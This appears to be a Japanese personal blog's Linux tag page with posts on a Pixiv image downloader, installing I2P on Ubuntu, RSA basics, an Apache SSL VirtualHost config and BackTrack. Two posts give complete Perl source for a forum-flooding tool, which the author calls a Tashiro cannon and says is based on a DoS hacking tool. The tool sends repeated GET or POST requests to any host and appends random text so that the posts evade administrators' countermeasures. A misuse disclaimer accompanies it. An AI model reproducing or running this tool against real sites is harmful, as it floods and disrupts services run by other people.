Posts Tagged ‘Linux’

ぴくぴくダウンローダ Ver β C01.01 Windows UNIX (MacOSX Linux) 対応

ぴくぴくダウンローダ Ver β 03.03でのバグを一部修正しました。

更新内容
cielavenir様のPixivの仕様変更対応バージョンを元に改良
ブックマーク数の指定に再対応しました

当ソフトの特徴
・ブラウザでリンクを開かなくても自動で条件(タグ検索、ブックマーク数、絵師さんのID)を指定することで画像を収集します。

・最初HTMLファイルのみを取得し作品へのリンクを解析するためダウンロードする画像(Pixivへのアクセス)は最小限です。低負荷です。

・一度ダウンロードした作品はコミックはフォルダ分けされ管理されます。指定されたフォルダにある画像は多重ダウンロードを行いません。

・バッチファイル等にコマンドを記述し指定した時間に実行させることも可能です。(絵師さんの新しい作品を定期的に収集し同期します。)

このバージョンにはバグがあります。ぴくぴくダウンローダ β C01.02をご利用ください。

当サーバからダウンロード
Download:ぴくぴくダウンローダ β C01.01
※ 帯域制限がかかってるのでミラーでダウンロードすることを推薦します。
(環境によってはダウンロードに失敗する事があります。)

Download:ぴくぴくダウンローダ β C01.01 MEGAUPLOAD

動作例)
Windows 7 (検索ワード,ミク ブックマーク数,5以上)

MacOSX 10.6 (検索ワード,ミク)

Ubuntu 11.04にI2P(匿名ネットワーク)をapt-getで手軽にインストールしてみる

マイナーすぎて海外のサイトでもjava -jar i2pinstall.exeなんてLinuxで動かしてるのを見たら目眩がしたのでしっかりapt-getでインストールしてみました。

公式サイト

http://www.i2p2.de/debian.html#ubuntu

# レポジトリを追加してI2Pをインストール
$ sudo apt-add-repository ppa:i2p-maintainers/i2p
$ sudo apt-get update
$ sudo apt-get install i2p

# いれていない人はインストール(テキストエディタとLinuxの起動時に特定のソフトを起動させるソフト)
$ sudo apt-get install vim chkconfig

デーモンとして起動させる設定
$ sudo vim /etc/default/i2p

# I2P daemon. If set to true, i2p will start automatically when
# the computer boots
#RUN_DAEMON=”false” ← コメントアウトして下記を追加
RUN_DAEMON=”true”

I2P起動
$ sudo service i2p start

http://localhost:7657/  I2Pルーター(管理画面)

localhost:4444      ProxyServer

再起動時に自動起動
$ sudo chkconfig i2p on

ぴくぴくダウンローダ Ver β 03.03 Windows UNIX (MacOSX Linux) 対応

ぴくぴくダウンローダ Ver β 03.03でのバグを一部修正しました。

更新内容
絵師さんのID指定時に次のページに移動しない事があるようなので修正しました。
(Pixivの仕様が変わったため?不明です)

当ソフトの特徴
・ブラウザでリンクを開かなくても自動で条件(タグ検索、ブックマーク数、絵師さんのID)を指定することで画像を収集します。

・最初HTMLファイルのみを取得し作品へのリンクを解析するためダウンロードする画像(Pixivへのアクセス)は最小限です。低負荷です。

・一度ダウンロードした作品はコミックはフォルダ分けされ管理されます。指定されたフォルダにある画像は多重ダウンロードを行いません。

・バッチファイル等にコマンドを記述し指定した時間に実行させることも可能です。(絵師さんの新しい作品を定期的に収集し同期します。)

このバージョンにはバグがあります。ぴくぴくダウンローダ β C01.01をご利用ください。

当サーバからダウンロード
Download:ぴくぴくダウンローダ β03.03 
※ 帯域制限がかかってるのでミラーでダウンロードすることを推薦します。
(環境によってはダウンロードに失敗する事があります。)

ミラー
Download:ぴくぴくダウンローダ β03.03 Rapidshare
Download:ぴくぴくダウンローダ β03.03 MEGAUPLOAD

動作例)
Windows 7 (検索ワード,ミク ブックマーク数,5以上)

MacOSX 10.6 (検索ワード,ミク)

ぴくぴくダウンローダ Ver β 03.02 Windows UNIX (MacOSX Linux) 対応

ぴくぴくダウンローダ Ver β 03.01でのバグを一部修正しました。

更新内容
前回のアップデートで設定ファイルをUNIXを意識しUTF-8Nに変更していましたがShift-JISに修正いたしました。
(メモ帳がUTF-8NをUTF-8に書き換えてしまい設定ファイルが読み込まれなくなる問題が起きたため修正)

Download:ぴくぴくダウンローダ β03.02
このバージョンにはバグがあります。ぴくぴくダウンローダ β03.03をご利用ください。

動作例)
Windows 7 (検索ワード,ミク ブックマーク数,5以上)

MacOSX 10.6 (検索ワード,ミク)

UFT-8はフラグを付けたりとったりただでさえ面倒だと思ってたらBOMの問題も出てきましたよ。。。
やっぱりつくづくめんどくさい文字コードですorz

RSA暗号化について

暗号化の方法がとても気になったので調べてみました。
※特に可逆暗号化と公開鍵暗号についてです。

RSAの式(暗号化)
C = M^e (mod n)

調べてみたら呆気にとられるくらい簡単で単純です。

^(キャロット)は累乗という意味です。
modは除算した時に発生する余りを意味します。
Cが暗号化された文章を意味します。
Mは平文を意味します。
要するにCは平文Mをe乗してnで割った余りであると言うことになります。

今日は徹夜明けなので頭がボーっとしてまともに物事を考えられないので近いうちに
暗号化と複合化するプログラムを書いて見ます。

参考元:はやわかり RSA
参考元:ASCIIコードと文字の相互変換

VirtualHostでSSL接続

非常に困りました^^;
彼の野原 – FrontPage様よりワイルドカードを使った証明書を作成しました。

ですが、/etc/apache2/conf.d/ssl.confになんて記述してよいのか分からない(汗
エラーが起きてしまいます。

結局NameVirtualHost *:443を記述していないと言うことに気づくのに1時間ほどかかってしまいました^^;

追記した内容

NameVirtualHost *:443

<virtualHost *:443>
SSLEngine on
ServerName mail.orsp.net
DocumentRoot /var/www/html/webmail/
## certificate file path below
SSLCertificateFile /usr/share/ssl/certs/server.pem
SSLCertificateKeyFile /usr/share/ssl/certs/server.key
<directory /var/www/html/webmail/>
AllowOverride None
Options ExecCGI
Order allow,deny
Allow from all
</directory>
CustomLog /var/log/apache2/ssl_request_log
"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x "%r" %b"
</virtualHost>

掲示板耐久性テスト プログラム Ver.2.0

 今朝投稿した掲示板耐久性テスト プログラムをもう一度改良しました。改良点はGETでデータを送信していたのをPOSTでも送信可能にしました。もう少し短くできそうなものなんですがね。。。。。。

Get the Flash Player to see this content.

#!/usr/bin/perl
#################################################
#ソフト名:掲示板耐久性テストプログラム
#バージョン:Ver.2.0
#ファイル名:bbsDos.pl
#作者:ORBIT
#作者HP:http://www.orsp.net/blog/
#※悪戯の目的で使用しないでください。
#################################################

#IO::Socketモジュールを使用する
use IO::Socket;
#Socketモジュールを使用する
use Socket;

#アクセス先ホストの指定
while($host eq ""){
print "X"x"50"."n";
print "URL(ホスト名)を入力してくださいn";
print "> http://";
$host = <stdin>;
chomp $host;
if($host eq "quit"){exit;}
}

#ポートを指定するかユーザーへ質問する
print "X"x"50"."n";
print "ポート番号を指定しますか?[y/n]";
$q_port = <stdin>;
print "指定しない場合は80番ポートへアクセスしますn";
chomp $q_port;

#yが入力されたらポート番号が入力されるまで待機
if ($q_port eq "y"){
print "X"x"50"."n";
print "ポートを指定しますn";
print "> ";
$port = <stdin>;
chomp $port;
}else{
$port = "80";
}

#乱数を追記させるかを確認
print "X"x"50"."n";
print "送信するデータに乱数を追加しますか?[y/n]";
$r = <stdin>;
chomp $r;

#乱数を追記させるかを確認
if($r eq "y"){
print "X"x"50"."n";
print "乱数の文字数を指定してくださいn";
print "> ";
$rr = <stdin>;
chomp $rr;
$rr = "1" if($rr eq "");
}

#送信方法を確認
print "X"x"50"."n";
print "(GET/POST)どちらを利用しますか?[g/p]";
$net = <stdin>;
chomp $net;
if($net eq "p"){&post_set;}
if($net eq "g"){&get_set;}

#送信回数
print "X"x"50"."n";
print "ループさせる回数を指定してくださいn";
print "> ";
$loop = <stdin>;
chomp $loop;
if($loop eq "" || $loop eq "1"){
$loop = "2";
$ex = "1";
}
if($loop == "0"){
print "Error:0回のループは指定出来ません!n";
exit;
}
$loop-="1";

#スリープの設定
print "X"x"50"."n";
print "指定秒ウェイトを設定する場合は入力してくださいn";
print "> ";
$slp = <stdin>;
chomp $slp;

#指定させた数字になるまでループ
while($ex <= $loop){
#送信数のインクリメント
print "X"x"50"."n";
$exd = $exd+"1";
print "$exd回目n";

#割合
if($loop ne ""){
$sa = int(($ex/$loop)*"100");
print "進行状況:[$sa%/100%]を完了しましたn";
$ex +="1";
}

#送信サブルーチン呼び出し
if($net eq "p"){&post;}
if($net eq "g"){&get;}

#スリープ
print "$slp秒スリープしますn" if($slp ne "");
sleep $slp;
}

print "終了しましたn";

#------------------------------------------------
#サブルーチン
#------------------------------------------------

#----------------------------
#GET
#----------------------------
sub get_set{
#ファイルの場所の指定
print "X"x"50"."n";
print "URL(ファイルの場所と送信データ)を入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> http://$host/";
$bbs = <stdin>;
chomp $bbs;
$bbs = "/".$bbs;
}

sub get{
#乱数格納
$bbs2=$bbs;
if ($r eq "y"){
my @alph = ("a".."z");
my $result = "";
foreach ("1".."$rr") {$result .= $alph[rand(@alph)];}
$bbs2.=$result;
}
#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$bbs2n";
#ホストへ接続を試みる
$socket = new IO::Socket::INET (
                                 PeerAddr => "$host",
                                 PeerPort => "$port",
                                 Proto => "tcp",
                                );
#送信
print $socket "GET $bbs2 HTTP/1.0nn";
close($socket);
}

#-----------------------------
#POST
#-----------------------------
sub post_set{
#ファイルまでのパスを指定
print "X"x"50"."n";
print "ファイルまでのパスを指定してくださいn";
print "> http://$host/";
$path = <stdin>;
chomp $path;

#送信データの確認
print "X"x"50"."n";
print "送信するデータを入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> ";
$data = <stdin>;
}

sub post{
$data2=$data;
if ($r eq "y"){
my @alph = ("a".."z");
my $result = "";
foreach ("1".."$rr") {$result .= $alph[rand(@alph)];}
$data2.=$result;
}

#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$data2n";

#ホストへ接続を試みる
socket(SOCKET, PF_INET, SOCK_STREAM, 0);
connect(SOCKET, pack_sockaddr_in($port, inet_aton($host)));
select(SOCKET); $|=1; select(STDOUT);

#送信
print SOCKET "POST /$path HTTP/1.0rn";
print SOCKET "Content-Length: ".length($data2)."rn";
print SOCKET "rn";
print SOCKET $data2;
}

掲示板耐久性テスト プログラム

 現在掲示板を作成中ですが、またしても脆弱性を発見しましたので、今回は開き直ってある程度性能のある掲示板連続投票ソフトを作成しました。一般的に言われる田代砲です。
 通常はJava scriptで書かれていますが、勉強と関数の復習を兼ねてPerlを利用して作りました。
 以前紹介したDoS.Perl.BBDoS.aを参考に作るならもっとセンスのある洒落たツールをと言う事で、乱数を追加して送信できる機能を取り付けました。田代砲とするなら乱田代砲と名づけましょうか^^;

 私の知識不足でProxyリストを使い投稿ごとにアクセス元を変更する機能こそ付いていませんが、投稿内容が毎回変わるので掲示板管理者や作成者はとても対策に困る訳です。
※ (もちろん、一定時間ごとに投票させるスリープ機能は付けてあります。)
つまり、このツールを防げたらたいていの連続投票を防げるわけです。

※ このプログラムは悪戯目的に使用しないでください。
元はDos攻撃用ハッキングツールを参考にしていますので非常に危険です。

#!/usr/bin/perl
#################################################
#ソフト名:掲示板耐久性テストプログラム
#バージョン:Ver.1.0
#ファイル名:bbsDos.pl
#作者:ORBIT
#作者HP:http://www.orsp.net/blog/
#※悪戯の目的で使用しないでください。
#################################################

#IO::Socketモジュールを使用する
use IO::Socket;

#アクセス先ホストの指定
while($host eq ""){
print "X"x"50"."n";
print "URL(ホスト名)を入力してくださいn";
print "> http://";
$host = <stdin>;
chomp $host;
if($host eq "quit"){exit;}
}

#ポートを指定するかユーザーへ質問する
print "X"x"50"."n";
print "ポート番号を指定しますか?[y/n]";
$q_port = <stdin>;
print "指定しない場合は80番ポートへアクセスしますn";
chomp $q_port;

#yが入力されたらポート番号が入力されるまで待機
if ($q_port eq "y"){
print "X"x"50"."n";
print "ポートを指定しますn";
print "> ";
$port = <stdin>;
chomp $port;
}else{
$port = "80";
}

#乱数を追記させるかを確認
print "X"x"50"."n";
print "送信するデータに乱数を追加しますか?[y/n]";
$r = <stdin>;
chomp $r;

#ファイルの場所の指定
print "X"x"50"."n";
print "URL(ファイルの場所と送信データ)を入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> http://$host/";
$bbs = <stdin>;
chomp $bbs;
$bbs = "/".$bbs;

#送信回数
print "X"x"50"."n";
print "ループさせる回数を指定してくださいn";
print "> ";
$loop = <stdin>;
chomp $loop;
if($loop eq "" || $loop eq "1"){
$loop = "2";
$ex = "1";
}
if($loop == "0"){
print "Error:0回のループは指定出来ません!n";
exit;
}
$loop-="1";

#スリープの設定
print "X"x"50"."n";
print "指定秒ウェイトを設定する場合は入力してくださいn";
print "> ";
$slp = <stdin>;
chomp $slp;

#指定させた数字になるまでループ
while($ex <= $loop){
print "X"x"50"."n";
$bbs2=$bbs;
#乱数格納
if ($r eq "y"){
$rr = rand("1000");
$bbs2.=$rr;
}

#送信数のインクリメント
$exd = $exd+"1";
print "$exd回目n";

#割合
if($loop ne ""){
$sa = int(($ex/$loop)*"100");
print "進行状況:[$sa%/100%]を完了しましたn";
$ex +="1";
}

#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$bbs2n";
#ホストへ接続を試みる
$socket = new IO::Socket::INET (
                                 PeerAddr => "$host",
                                 PeerPort => "$port",
                                 Proto => "tcp",
                                );
die "Error:ホストに接続できませんでした!n" unless $socket;
#送信
print $socket "GET $bbs2 HTTP/1.0nn";
close($socket);

#スリープ
print "$slp秒スリープしますn" if($slp ne "");
sleep $slp;
}

print "終了しましたn"

BackTrack 3 SpoonWpa起動 

Royal Windows様の記事をみて
Aircarack-ngを無理やりGUIで動かすSpoonWpaというものがあると知り
早速BackTrack 3で起動してみました^^
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BackTrack 4 Pre Release ネットワーク起動

ネットワークをスタートします。
# sudo /usr/bin/start-network
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Wicd Managerを起動します。
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APリストが表示されますので選択します。
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Apache2を起動する場合
コマンド
# sudo /etc/init.d/apache2 start
でApache2を起動できます。
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EeePCへの導入に対応しているのか、EeePC 701-SDX
の無線LAN子機を認識しました。

なお、パッケージをアップデートするとDHCP Serverでエラーを確認しました。
BT3に比べると何か、かなり不安定ですね・・・・・・
所々Ubuntuと残っていたり^^;

参考HP:RokBlog